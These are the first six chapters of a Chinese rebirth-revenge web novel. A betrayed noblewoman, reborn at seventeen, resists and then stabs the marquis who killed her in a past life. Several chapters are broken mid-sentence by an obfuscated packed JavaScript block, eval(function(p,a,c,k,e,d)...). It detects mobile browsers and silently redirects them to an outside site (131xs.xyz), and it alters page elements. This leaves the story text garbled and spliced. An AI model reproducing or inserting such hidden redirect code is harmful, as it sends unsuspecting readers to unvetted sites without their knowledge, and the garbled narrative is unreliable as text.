《夫人假死后侯爷疯了》 1. 第一章 霉味裹挟着腐臭在空气中交织,石壁渗出冰水,滴滴答答砸在污泥的地面上。漆黑一片中,仅有天窗漏进一缕昏光,照出刑架上那单薄的人影。 黎昭月被铁链吊在刑架上,身上的伤口已经溃破感染,原本灰白的囚服也被染成了赤青色。她耷拉着头,散乱的发丝遮住了脸,只有那微弱的气息还证明她还活着。 一阵清脆的踩踏声传来,由远及近,不疾不徐。她缓缓睁开双眸,模糊的视线里出现熟悉的衣袍,月白风清,一尘不染,与这污秽之地格格不入。 她艰难抬起脑袋,透过血污看到了那张曾让她痴狂的脸。李既白,依旧是那般清风朗月,俊美得不像凡人。 “为什么……”她嗓音沙哑,使出全身力气嘶吼着,“你不是说都是权宜之计,不出十日就会带我出去,可你为何另娶他人!” 昨日听狱卒间的对话,黎昭月才知晓自己的夫君马不停蹄娶了新妇。可自己入这地牢,正是为了让李既白洗脱三皇子党的嫌疑,一月以来,她受尽折磨,可他却不曾看望过一次。 “看来你都知道了。”男人侧着脑袋,面上浮现笑意,眼神却淡漠地像看一件死物。 “李既白!你为什么这么对我!” “黎昭月,”他开口,声音悦耳,“你很听话,懂事,为了我可以连命都不要。”李既白说着,目光滑到她心口那道为他挡刀留下的疤上,接着向后退了一步: “但棋子,终究是棋子。”他的唇角勾起一抹浅淡的弧度,“用完了,自然要弃。” 话落,一阵寒光。 黎昭月甚至没看清他是如何出手,一柄匕首就已没入她的心窝。而这样式,分明是去年男人生辰,她亲手制作的。瞬间,温热的血喷涌而出,溅在李既白的衣袍上,开出凄艳的花。 黎昭月煞白的脸彻底没了生气,但她还是不甘心地问出了那句:“李既白,你对我,可曾有过半分真心?” “未曾,我爱的人,只有宁儿。” 话落,黎昭月吐出鲜血,眼角干涸得只剩血丝,“原来……你是替她报仇……” 以她曾经杀死过曾钦宁的方式,了结她的性命。 —— “小姐!小姐!您醒醒!及笄礼的时辰快到了!” 是谁的声音? 黎昭月在窒息般的剧痛中惊醒,心脏隐隐作痛,仿佛那把匕首还插在上面。她喘息着,额上沁出细密的冷汗。 入目是熟悉的缠枝莲罗床帐,鼻尖萦绕的是清甜的梨花香。温暖,芬芳……与方才阴冷血腥的地牢判若两个世界。 “小姐,您可是梦魇了?”贴身丫鬟云舒担忧的脸凑近,手里还捧着及笄礼裙。 黎昭月浑身一僵,她艰难撑起身,摇摇晃晃冲到梳妆台前,铜镜里映出一张明媚的脸庞,眉眼间还带着未褪的稚气与灵气。与十七岁的模样毫无二致,神态没有地牢里的憔悴灰败,心口也无一处伤痕。 她……重生了? 巨大的震惊过后,是劫后余生般的狂喜。但旋即,前世被背叛的恨意便如潮水般涌来,几乎要将她淹没。 “月儿,可收拾妥当了?”母亲温柔的声音在门外响起。 黎昭月深吸一口气,强迫自己冷静下来。镜中少女的眼神,逐渐从迷茫震惊,沉淀为一种与年龄不符的坚毅。 前世那些负我,害我之人,我定要你们血债血偿! 及笄礼在黎府正厅举行,宾客满座,珠环翠绕,笑语喧阗。父亲黎国公满面红光,觥筹交错间,姑母正为黎昭月将长发挽起,插上象征成年与责任的碧玉簪。 这份她前世亲手抛弃,视若桎梏的亲情此刻却像滚烫的暖流,将内心的冰山缓缓融化。 “爹爹,娘亲,你们一定要好好的。” “我们月儿,果真是长大了。”黎夫人说着轻抚女儿的发顶。 黎昭月鼻尖发酸,几乎要落泪。自己作为黎府最小的孩子,从小到大受尽宠爱,也养成了一身的毛病,是不折不扣的魔王。而黎家为锻炼她送去西境三年后,她却恨上了自己的父母,这次及笄礼便是补上的。 就在礼成,众人纷纷上前道贺之际,门口传来一阵轻微的骚动。 仆从提高了声音,恭敬通传:“靖安侯到。” 黎昭月的心猛地一沉,像被一只无形的手狠狠攥住。袖中的手瞬间攥紧,指甲深深掐入掌心,用尖锐的疼痛来维持脸上得体却毫无温度的笑。 她抬眸望去,只见来人一身莹黄华服,身姿挺拔如松。 李既白面容俊美无俦,长相还带着几分周正,嘴角仍噙着抹温润如玉的笑意,目光穿过人群落在黎昭月身上,缱绻深情。 他晃了晃手,身后的小厮便恭敬递上一个紫檀木锦盒。 “恭喜昭昭今日及笄。”他声音清越,带着宠溺,“这是我的一份心意,望昭昭喜欢。” 看着他那张深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“侯爷言重了!您身份尊贵,文武双全,是京中翘楚,怎会有不好?”她话锋一转,语气自嘲:“是昭月自知顽劣不堪,性情乖张,不识大体,实非侯爷良配。昭月不敢高攀,也担不起侯府主母之责。” 这番话,如同冷水泼入滚油,引得众人面面相觑。这黎家小姐莫不是疯了?竟如此驳靖安侯的面子,还这般自污? 李既白张了张嘴,见黎昭月认真的样子便静静盯了她半刻,随后化作一声极轻的叹息: “我知你近日心绪不宁,许是我逼得太紧,让你心生抗拒了。今日是我唐突,不该在此时提及此事。既你暂无此意,我……便不再强求。” 他深深看了黎昭月一眼,继而转向黎国公夫妇,执礼告辞:“国公爷,夫人,既白先行告退。” 说罢,他不再多言,背影却依旧挺拔,更平添了几分落寞,引得不少宾客心生同情,暗怪黎昭月不识好歹。 2. 第二章 “小姐,您先喝口热茶定定神。”云舒小心地奉上茶盏,今日小姐的举动实在太过反常,与从前那个满心满眼都是靖安侯的少女判若两人。 黎昭月接过茶杯,指尖冰凉,甚至微微颤抖。只有她自己知道,在面对李既白那张虚伪的面孔时,她需要耗费多大的心力才能压制住与他同归于尽的冲动。五年痴恋,锥心之痛,岂是轻易能够抹平的? 她声音微哑,“父亲母亲那边……有何反应?” 云舒低声道:“国公爷和夫人将宾客送走后,便一直在正厅,未曾唤小姐前去……想必需要时间思量。” 黎昭月闭目凝神。她父母若知道她不喜欢李既白,在她的哭求下定会同意不嫁人,可这番举动无疑会引起轩然大波,也极有可能连累黎家,那边的长辈未必不会给她施压。 正当她心绪纷乱之际,“小姐,靖安侯派人送来了礼物,说是给小姐压惊。” “压惊?” 黎昭月轻笑一声,似乎她每次表现出与李既白心中所想相反的反应,他就企图拿这一套来解决问题,送的还都是些不值钱的玩意儿。 未等她说丢了,云舒已将盒子打开。 紫檀木盒里装了一支品相极佳的紫玉箫,箫身温润,尾部缀着熟悉的流苏。是她前世婚后,李既白亲手所赠,曾是她最心爱之物,日夜摩挲,吹奏的也尽是他喜欢的曲调。 可现在看到,她只觉讽刺,“砸了。” “小姐?” “我说,砸了!或者拿去烧了,别让我再看见它!” 云舒不敢再多言,连忙将锦盒盖上,匆匆退下。 夜色渐深,黎昭月躺在床上毫无睡意。地牢的画面不断重现,如同恶鬼般反复纠缠。 就在这时,窗外传来带有节奏的叩叩声,那是她与李既白从小到大的暗号。 黎昭月全身血液仿佛凝固,她悄然起身,并未点灯,也未立即开窗,而是隔着窗棂静静站在那。 风声呼啸,透过月光看到面前的身影,窗外随即响起李既白那刻意压低的嗓音:“昭昭,开窗,让我看看你可好?今日之事,我心中难安。” “夜深人静,侯爷擅闯女子闺阁,恐惹非议。有何话,明日再说。”她强压恨意,语气疏离。 “昭昭,”李既白的声音里添了几分无奈的宠溺,仿佛在包容一个闹别扭的孩子,“告诉我,究竟发生了何事?为何你突然像变了个人?可是有人在你面前说了什么?” “侯爷多虑了。”黎昭月的声音如同淬了冰,“无人挑唆,亦非疏忽。只是我突然想明白了些事情而已。侯爷身份尊贵,昭月顽劣,实非良配,” “你哪里顽劣?” 低低的五个字传来,打断了她的话,黎昭月只当男人挽尊的话,“但今日之言皆出自肺腑,侯爷还是莫因我一人断了良缘。况且……” 为了让李既白死心,她索性扯了个谎,“我已有心上人,乃启家二公子,启靳权。” 话落,窗外骤然寂静。 良久,李既白的声音再次响起,平和里带上冷意:“昭昭,别说气话。你我自小相识,十年情谊,我岂不知你所想?这婚事,不仅是两家之愿,陛下亦乐见其成。” 最后几个字,他说得极轻,带着一种令人毛骨悚然的笃定。 黎昭月的心彻底沉了下去,前世,她欢天喜地地同意了求婚,今生不允,这李既白却拿出另一勒紧她脖颈的武器。 “李既白,”她第一次连名带姓地叫他,声音里压抑着愤怒,“我再说最后一次,我黎昭月,今生绝不嫁你!” 说完,她不再给他任何回应的机会,猛地将窗户从内栓死,发出清晰的“咔哒”声,彻底隔绝了内外。 夜色浓稠如墨,黎昭月一夜未眠。天刚蒙蒙亮,她便起身,换上了一身利落的黑色骑射服,将长发用金冠高高束起,吩咐云舒备马。 “小姐,您这是要去哪儿?”云舒看着她眼下的乌青,心中不安。 “去西郊校场。”黎昭月语气平静,“许久未活动筋骨了。” 前世为迎合李既白喜欢懂事乖巧的模样,她几乎放弃了自幼学习的骑射武艺,整日困于闺阁研习琴棋书画。这一世,那些被丢弃的傍身之技,她要一一捡回来。 西郊校场的阳光带着尘土的气息,清新自然。黎昭月深吸了口这久违的味道,接着径直走向马厩中最烈的那匹枣红马,她轻柔地抚着马背:“追日,等会你可要大展身手。” “哟,这不是黎三小姐吗?” 轻佻的声响自身后传来,黎昭月不用回头,也知道是礼部尚书家的王伦。那家伙出了名的喜找事,是个讨人嫌的家伙。 她抬眼时,正见那公子哥儿摇着折扇,锦袍领口沾着些尘土,却依旧摆出一副居高临下的模样,身后还跟着两个凑趣的随从,眼里满是戏谑。 “昨日才在侯爷面前演了一出烈女传,今日就来校场撒野了?莫不是想换个法子,吸引侯爷的注意?” 黎昭月闻言,连眼皮都懒得抬,“王公子有空在这里嚼舌根,不如回去问问令尊,那本《礼语》还能不能顺利刊印出来。” 她顿了顿,余光瞥见王伦脸上的笑意僵住,才慢悠悠补了句:“听说,御史台的大人最近正盯着各地刊印书籍的款项,尤其是那些‘私人订制’的册子,更是格外感兴趣。” “你,你说什么?”王伦的脸色瞬间褪成煞白,那本《礼语》是他父亲为了讨好宰相,偷偷挪用国库刊印款中饱私囊的私活,做得极为隐秘,她怎会知道。 “休得胡言!”他吓得冷汗直流,但还是死鸭子嘴硬。 黎昭月跨身上马,斜睨着他,“王公子自己心里清楚!” 她说着扬起马鞭,好若要打在王伦身上,男人吓得迅速退开,只得看着她离开。 黎昭月唇角勾起一抹冷嘲。前世这个时候,这事还没爆出来,但不久后就会成为扳倒礼部尚书的一根导火索。这些蝇营狗苟,她前世替李既白处理文书时,知道得太多。 风声在耳边呼啸,仿佛要将前世的憋闷和屈辱都吹散。她伏低身子,感受着速度带来的快意。 几圈下来,她浑身汗湿,眸光却亮得惊人。她又来到箭靶区,挽弓搭箭。 “嗖!嗖!嗖!” 三箭连珠,精准地射中百步之外的箭靶红心。 “好!漂亮!” 黎昭月松开弓弦,转头望去。 只见一个身着宝蓝色骑射服的少年郎正大步走来,他身形修长,肩背透着少年人特有的舒展和清俊。笑起来时又会露出一点虎牙尖,眼尾也带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看着他跃跃欲试的样子,黎昭月胸中的郁气仿佛也被冲散了不少。她深吸一口气,将那些烦心事暂时抛诸脑后,“比就比,怕你不成?我可垂涎醉仙楼的桃花醉很久了!” “那谁赖账谁是孙子!”启靳权哈哈大笑,转身便朝着马厩跑去,身影矫健,充满了蓬勃的朝气。 黎昭月看着他的背影,目光微微闪动。有这样一个朋友在身边,仿佛前路的黑暗,也透进了光亮。 二人就这么叙旧到忘乎了时间的流逝,等反应过来,已是傍晚。 黎昭月背起箭包,心情畅快,但面上佯装失落的模样,“看来桃花醉,今日是喝不成了。” “无妨,明日我请你喝个够!” “哈哈哈,好!一言为定!” 回府路上,黎昭月微微撩开车帘,感受着傍晚微凉的风,看着街市熙攘的人群,心中升起一丝渺茫的希望。或许,只要她足够强大,足够警惕,真的能挣脱命运的枷锁。 然而,这份短暂的轻松在她踏入国公府大门的那一刻,彻底破碎。 待黎昭月回到府,母亲身边最得力的孙嬷嬷早已等在院中,脸色是从未有过的凝重和焦急。见到她,几乎是扑了上来:“小姐!您可算回来了!出大事了!” “嬷嬷,何事如此惊慌?” 孙嬷嬷压低了声音,带着哭腔:“宫里……宫里来人了!下了圣旨!将您赐婚给靖安侯了!” 3. 第三章 如同晴天霹雳,黎昭月脚步一个踉跄,险些没站稳。刚刚在校场找回的一点自由和畅快,在这一刻显得如此可笑。 “老爷和夫人……已经在书房等了您许久了……” 黎昭月闭上眼,深吸了好几口气才勉强压下喉咙口的腥甜。 “我知道了。”她出乎意料地平静,“替我更衣,我去见父亲母亲。” 她回到闺房,换下那身张扬的骑射服,穿上素雅的常服。镜中的少女,眉眼依旧明艳,却笼罩着一层化不开的冰霜。 书房内,气氛凝重。 黎国公面色铁青,黎夫人则眼眶泛红,见到黎昭月未语泪先流。 黎国公重重叹了口气,“今日早朝后,陛下身边的总管太监亲自来了府上……这是,赐婚的圣旨。” “圣旨言明,择吉日为你与靖安侯完婚。”黎国公的声音充满了无力感,“月儿,昨日你任性,为父与你母亲尚可为你周旋。可那李既白……” 黎夫人泣不成声:“我苦命的儿啊……那靖安侯,他今日在朝堂上,还主动请缨,接下了督办北境军粮的差事……” 黎昭月僵在原地,李既白不仅用圣旨逼她,更用她远在北境的兄长们的安危来胁迫她,简直禽兽不如! “父亲,母亲,”黎昭月的声音干涩沙哑,她缓缓跪了下去,“是女儿不孝,连累哥哥了。” 她抬起头,面上倔强:“圣旨已下,女儿不会抗旨。但这桩婚事……女儿自有主张。请二老放心,我绝不会让黎家,再因我而陷入万劫不复之地!” 她的话,让黎国公和夫人面面相觑,不知她意欲何为。但女儿眼中那从未有过的决绝光芒,却让他们心疼不已,但此事,又的确没有挽回的余地。 黎昭月站起身,挺直脊梁,走出了书房。阳光刺眼,她却感觉不到丝毫暖意。 赐婚圣旨如同一块巨石投入平静的湖面,在黎府乃至整个京城激起了千层浪。外界议论纷纷,大多认为黎昭月昨日拒婚不过是欲擒故纵的把戏,毕竟黎昭月自小是出了名的李既白的跟屁虫,没准这圣旨还是黎家亲自求的呢。 黎昭月对外界的议论充耳不闻。她将自己关在昭华苑内,表面看似认命待嫁,实则暗中开始了自己的谋划。 她凭借记忆将前世这个时间点之后几年朝堂上发生的大事,乃至边疆战事的关键节点一一罗列出来。同时,她不动声色地整合自己所能动用的资源。她虽是闺阁女子,但作为黎国公最疼爱的小女儿,名下也有几处陪嫁的田庄铺面。 她以学习打理庶务为由,向母亲要来了这些田庄铺面近几年的账本,仔细查阅。又借口散心,亲自去京郊的田庄查看。 这一日,她从京郊田庄回府,马车行至闹市,一群乞丐突然涌出,乞讨声不绝于耳。 黎昭月微微蹙眉,正欲吩咐侍卫驱散,眼角却瞥见街角一道熟悉的身影。 曾钦宁,那个前世被她亲手杀死的商户之女,也是李既白承认真正所爱之人。 就在她思索之际,马车右侧的窗帘被人掀开,一只脏污的手迅速伸来。 “小姐小心!”贴身侍卫惊呼拔刀。 黎昭月反应极快,身体后仰,同时袖中滑出一把平日用来防身的短小匕首,抵挡了回去。 “锵!”一声金属交击的脆响。 那乞丐一击不中,眼神冷厉,另一只手寒光闪现,一把淬毒的短刃再次向她刺来。目标明确,就是冲着她性命而来。 电光火石之间,一道身影如鬼魅般掠过,只听“咔嚓”一声脆响,那人的手腕已被硬生生折断,短刃落地。来人动作未停,一掌拍出,乞丐瞬间倒飞出去,重重砸在地上。 黎昭月看向挡在她身前的人,穿着普通护卫的服饰,但身手矫健,出手狠辣。 “属下奉侯爷之命,暗中保护小姐。让小姐受惊了。”那人转身,向黎昭月躬身行礼。 黎昭月皱起眉头,她早已知道李既白派人监视,可这次刺杀如此巧合,极有可能是李既白的自导自演。但曾钦宁又为何出现此地,她可是李既白的红颜知己,难道还有别的阴谋? 无数疑问瞬间涌上黎昭月心头。她强压下翻腾的气血,面无表情地看着那名护卫:“替我多谢侯爷好意。只是,我还没柔弱到需要被人保护的时候。” “侯爷吩咐,小姐安危重于一切。请小姐体谅。” 黎昭月知道,此刻与他争执无用。她冷冷扫了眼地上昏迷的刺客和那群早已吓傻的乞丐“回府。” 回到黎府,黎昭月立刻写了一封密信,用特殊的方式封好,交给了云舒:“想办法,将这封信,送到北境我二哥手中。记住,要快,绝不能让任何人察觉。” 她必须提醒远在北境的兄长们小心提防,无论是军中的暗箭,还是来自朝堂的恶意。同时,她也需要二哥的帮助。在黎家,二哥黎昭雪虽不如大哥沉稳,却最为机敏,交游广阔。 这日,李既白亲自登门,美其名曰商议婚礼细节。黎国公夫妇自然热情接待。在正厅寒暄片刻后,李既白便提出想与黎昭月单独说几句话。 两人走在黎府后花园的回廊下,初冬的寒风带着凛冽的冷意。李既白依旧是一身淡色常服,他柔声开口:“昭昭,婚期将近,你可还有什么需要?或是还有什么心事?” 黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544044|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭月停下脚步,目光落在远处枯荷残败的池塘上:“侯爷安排便是,昭月无甚需要。” “前几日你在街上受惊了。那伙贼人已然查明,是北境流窜来的亡命之徒,意图劫掠钱财,我已命人处置干净,你无需再担心。” 北境流寇?黎昭月心中冷笑更甚。那刺客目标明确,手法狠辣,分明是专业的死士。 “有劳侯爷费心。”她垂下眼帘,掩去眸中的讥讽。 “昭昭,”他声音低沉了几分,“大婚之后,你便是我靖安侯府名正言顺的女主人。我希望……你能尽快适应新的身份。” 黎昭月淡淡应道:“是,侯爷。” 两人的这次会面,在一种看似平和,实则暗流涌动的诡异气氛中结束。 待李既白走后,黎昭月唤来云舒,“信可送出去了?” 云舒谨慎点头,小声道:“小姐放心,按您的吩咐,通过南边来的商队夹带出去的,绝无人察觉。只是……北境路远,怕是还要些时日才能有回音。” “好……”分神之际,耳边传来一阵熟悉的箫声。 她回头,启靳权不知何时出现,伫立在假山之上。她面露困惑,“启二,你又在搞什么花样?” “哗”的声,启靳权一跃而起,正正好好地站在黎昭月面前。 “我啊,听说某个丫头片子被一道黄纸压得喘不过气,特意来瞧瞧热闹。”他说着双手抱胸,唇角勾着半抹戏谑的笑。 黎昭摊开手,眼神略微落寞,“你要是来看笑话,那我没什么可说的。” 见她当了真,启靳权倒有些恼了,“黎昭月,你怎么这么颓废了?你就算从此认了那圣旨,那你就打算把自己关在笼子里,当个提线木偶吗?” “你之前连那些碎嘴婆子的闲话都不在乎,如今怎么成这样了?”他说着双手搭上黎昭月的肩,左右摇动,似要看出什么异常来。 黎昭月无奈叹了口气,她此刻的心境是经历过家破人亡的23岁,自然没有了以往的任性与无忧无虑。 她试图拨开他的手,“启二,你放手。” “不放,你还是不是我认识的那个黎昭月了?” “我不是这个意思……” “既然不是,那就要努力改变不是吗?事在人为,路是靠自己走出来的,不是靠老天爷赏,更不是靠别人施舍的!” 启靳权说着松开她,拳头在空中挥舞,样子有些滑稽,“更何况,你本就不是寻常人,我们从前敢面对,如今也绝不能退缩。” 黎昭月一直紧绷的心弦,在此刻彻底松了。是啊,她重活一世,难道还要墨守成规,坐以待毙吗? 4. 第四章 转瞬,靖安侯府与黎国公府的婚期就已到来,此乃京城盛事。 十里红妆,鼓乐喧天,宾客盈门,处处彰显着天家恩宠与侯府尊荣。 黎昭月端坐于梳妆镜前,镜中人眉目如画,朱唇点染。可那双平日里最为灵动的桃花眼却毫无喜意,只有一片沉寂。 迎亲的队伍到了,黎昭月盖上大红盖头,在喜娘的搀扶下,一步步走出生活了十五年的闺阁。而这每一步,都仿佛踩在刀尖上,也裹挟着,前世令她痛苦的回忆。 洞房内,红烛高燃,空气中弥漫着浓郁的甜香。喜娘说了一连串的吉祥话便领着丫鬟们退去,将空间留给了这对新人。房门被轻轻关上,隔绝了外面的喧嚣,屋内只剩下他们二人。 黎昭月端坐在床沿,盖头依旧遮着脸,她能听到李既白逐渐靠近的脚步声。 他在她面前站定,并未立即掀开盖头。他的目光似在她身上流转,又似在踌躇。 “昭昭,”他开口,声音低沉而温柔。他凑近身伸出手,盖头飘落。 黎昭月抬眸,与李既白深邃的目光撞了个满怀。男人穿着一身大红喜服,面如冠玉,眼尾微微上挑。 黎昭月没有回话,神态没有半分新嫁娘的羞涩。李既白看着她眼中的寒意,“你的心愿从今……” 话未说完,一道金光骤现。 黎昭月袖中的金簪已握在手中,她用尽全身力气,毫不留情地朝李既白的心口刺去,动作快准狠,带着积攒了两世的仇恨与绝望。 “我要你死!” 没有质问,没有哭诉,只有这赤裸裸的杀意。 预想中匕首入肉的声音没有传来,取而代之的是一声闷哼。金簪的确刺中了,却未能深入。李既白的手,精准握住她持簪的手。 巨大冲击下,李既白胸前鲜血涌出,滴滴答答落下,晕开一片猩红,即便如此,也丝毫没有躲开的意思。 黎昭月惊愕抬头,她对上李既白的眼睛。那里面没有愤怒,没有惊诧,只有一种近乎悲凉的痛楚。 “好。”他面色苍白地挤出一个笑,没有捂住伤口,反而猛地用力,将那金簪又往自己胸口推进了几分。 “都听昭昭的。”他的身体彻底靠在黎昭月肩上,气若游丝,只有二人能听得到,“我这条命,给你也无妨。” 黎昭月彻底僵住了。她看着他那不断淌血的手和胸口,感受到身上温热的触感,大脑一片空白。 “别装了!”她厉声喝道。 “对不起……” 黎昭月这才反应过来,猛地用力推,李既白整个人跌倒在地。 “李既白,别碰我!”她的声音因恐惧和愤怒而尖利。 男人的身躯重重摔在地上,溅起零星的血花。 黎昭月踉跄着后退一步,李既白一动不动,心口那片暗红仍在不断扩大。 死了吗? “不行,李既白,你现在还不能死!” 黎昭月蹲下身,用力攥紧男人染红的婚服,“你还没有体会过被背叛,被误解,徒留一身绝望的感觉!” 黎昭月大吼着,一想到前世,她放弃一切只为了李既白,直到最后自己一无所有,亲情友情爱情全都化为虚无,可李既白呢?官途坦荡,还迎娶了她讨厌的女人,最后也亲手杀死了自己。 “我绝不会让你轻易地就死了,即便我也会万劫不复。”黎昭月说着笑出了声,接着她打开了大门,“传太医!” 喜悦的气氛就这么被黎昭月的大笑打破,而她身上的血迹,也让众人慌了神,甚至有几个丫鬟惊得喊了出来:“有刺客!夫人受伤了!” 话落两个侍卫快步走来,紧随其后的是一位提着药箱,面色凝重的老者。 “夫人,陈太医来了。” 待看到新房内的景象,侍卫眼中闪过一丝骇然,在观察屋内没有其他人时才迅速上前检查李既白的情况。陈太医则脸色大变,立刻跪倒在地进行救治。 没人质问黎昭月,甚至没人多看她一眼,仿佛她不存在般。他们所有的注意力都集中在昏迷的李既白身上,动作迅速而专业地为他处理伤口。 黎昭月站在角落,看着眼前混乱却有序的一幕,心思一点点飘走,脑海中不断重演着刚刚发生的事情。 陈太医忙碌了许久才擦掉额头的汗,低声道:“万幸……簪子偏离心脉半分,侯爷性命无碍,但失血过多,伤势极重,需静养数月。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为大多数时候,李既白会在昏睡中蹙紧眉头,发出模糊的呓语: “黎儿……” “别走……” “危险……” 5. 第五章 ——第五日深夜 黎昭月靠在椅背上浅眠,忽然被一阵急促的咳嗽声惊醒。她睁开眼,床上的李既白不知何时醒了,正侧着头,剧烈地咳嗽着。 她下意识站起身,想去倒水,脚步却钉在原地。最终,她还是倒了一杯温水,走至床边,却没有递给他,只是放在了床头的矮几上,“喝水。” 李既白的咳嗽声渐渐平息,他缓缓转过头,眸子因伤病而显得有些涣散,可即便如此他也没有去看那杯水,只是静静盯着黎昭月。 “你……没事就好。”他声音沙哑得厉害,几乎不成调。 黎昭月心头巨震,指甲深深掐入掌心。醒来第一句话是关心自己?他难道忘了,是谁将他伤成这副模样? “死不了。”她硬邦邦地回道,别开眼。 李既白默了刹,目光扫过她眼底的乌青和身上未曾更换的嫁衣,他断断续续地说:“别怕,我……不会,有事。” 黎昭月猛地回头,“那也不关我的事!” 李既白看着她,“留在我身边……”他还想说什么,却体力不支,再次陷入昏睡。 黎昭月站在原地,嗤笑一声,“把最大的危险留在身边,李既白,你会有后悔的那一天的。” 李既白时而清醒,时而昏迷。清醒的时间越来越长,但依旧虚弱,无法起身。 黎昭月依旧是那个被软禁的妻子,每日被困在主院。但她不再像最初那样焦躁,而是开始利用这被迫的“共处一室”,冷静地观察。 她发现,李既白的心腹侍卫首领墨痕,每日会在固定的时辰前来,低声汇报一些事情。尽管声音压得极低,黎昭月还是凭借前世帮他处理细作时练就的耳力,捕捉到了一些零碎的词语——“粮草”,“弹劾”,“陛下”…… 黎昭月继续将注意力放回李既白身上。他醒着时,大多时候很安静,只是看着她。他偶尔还会试图与她说话,问她想吃什么,是否闷倦,语气像寻常丈夫关心妻子。 黎昭月一律以沉默或最简短的“是”,“不”回应。 后来,她开始亲自为他换药。这是陈太医的建议,说是促进夫妻感情。黎昭月明白,这恐怕也是李既白的意思。她没有拒绝,这或许是她能最近距离观察他伤势真伪的机会。 解开绷带,胸口那道狰狞的伤口暴露在眼前。皮肉外翻,虽然开始愈合,却依旧触目惊心。黎昭月的手很稳,因前世总帮李既白处理伤口而更为熟练。 “昭昭,”他忽然低声开口,声音因伤口的牵扯而有些气息不稳,“若我就此死了……你可会有片刻伤心?” 黎昭月涂抹药膏的手一顿,随即更加用力,引得他闷哼一声。 “侯爷若死了,我便是寡妇,自然伤心。” 李既白低低地笑了起来,“也好……” 疯子!黎昭月心中暗骂,加快了手上的动作,恨不得将那伤口重新撕开。 李既白的伤势稳定下来,开始能靠着软垫坐起身片刻。主院的禁锢似乎松动了一些,云舒被允许进来伺候黎昭月起居了。 再见到云舒,云舒眼睛哭得红肿,抱着黎昭月上下检查,确认她无恙后才安心。 她带来了些外界的零碎消息,多是市井流言。有说靖安侯夫妇新婚燕尔,情深意重,侯爷为保护夫人重伤,夫人衣不解带悉心照料。也有猜测新婚之夜是否发生了变故,否则为何侯府戒备如此森严,夫人也从不露面。 “小姐,您受苦了。”云舒看着黎昭月清减的面容,眼泪又落了下来。 “我没事。”黎昭月拍拍她的手,压低声音,“可能联系上二哥?” 云舒沮丧地摇头:“府里看得紧,我们带来的陪嫁婆子和小厮都被调去了外院,轻易进不来。送信出去……更难了。” 黎昭月皱起眉,李既白这是铁了心要将她与外界隔离。 这时,墨痕端着一碗浓黑的汤药进来。李既白像是突然想到什么,“你去看看……陛下赏赐的那株血珊瑚送到了吗?亲自去核对入库。” 墨痕愣了一下,“是。”他将药碗递给云舒,躬身退下。 屋内只剩下黎昭月,云舒和半倚在床的李既白。 李既白拿过药碗,然而手却抖得厉害,滚烫的药汁溅出些许,落在他的手背上,荡起一片赤红。 “侯爷!”云舒惊呼。 黎昭月瞳孔微缩,从他手中接过了药碗。男人的手指冰凉,触碰到他的瞬间,几不可察地颤了下。 她抿着唇,舀起一勺药,吹了吹,递到李既白唇边。动作僵硬,毫无温情可言。 李既白顺从地喝下,但他喝得很慢,每一口都仿佛用尽了力气。 就在一碗药快要见底时,他忽然极轻地说了一句:“齐州并非天灾。” 黎昭月的手一抖,勺子里剩余的药汁洒在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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前世,黎昭月嫁入侯府后李既白亦是如此,毫无保留地将中馈之权交予她,她曾为此感动不已,呕心沥血为他打理庶务,将侯府治理得井井有条。 可最终,这一切都成了镜花水月。 如今,这串钥匙在她眼中不过是另一种形式的枷锁,想用庶务牵绊住她。 “侯爷厚爱,昭月心领。”她并未伸手去接,声音疏离,“只是昭月年轻识浅,性情顽劣,恐难当此重任。且侯爷重伤初愈,府中事务繁杂,若因昭月处置不当而影响了侯爷静养,反为不美。这管家之权,还是由原先的老人管着更为稳妥。” 6. 第六章 她拒绝得干脆利落,不留丝毫余地。 书房内瞬间寂静,总管事和嬷嬷们皆面露诧异,偷偷觑着李既白的脸色。历来高门主母谁不想牢牢抓住中馈之权,这位新夫人竟如此毫不犹豫地推拒?这是伤到脑子了吧? 李既并未动怒,“既如此,” 他缓缓抬眼,“便依夫人之意。账目暂且由陈嬷嬷代管,但府中一应大小事务,仍需禀明夫人知晓。” “是。”总管事与陈嬷嬷连忙应下。 “既如此,便按侯爷说的办吧。若无他事,昭月告退。” 离开书房,黎昭月走在回廊下,心中并无轻松之感。李既白如此轻易让步,反而让她觉得他另有图谋。她想起前世,他便是这般,一颗甜枣,一个巴掌。无论是权力还是温情,然后再在她最沉浸之时,给予最致命的一击。 李既白移交管家之权被拒后,侯府的下人们对待黎昭月的态度,愈发显得微妙起来。表面上的恭敬丝毫未减,甚至因为李既白那句“事事需禀明夫人”的命令而更加谨慎,但那恭敬之下,却隐藏着更多的审视和好奇。 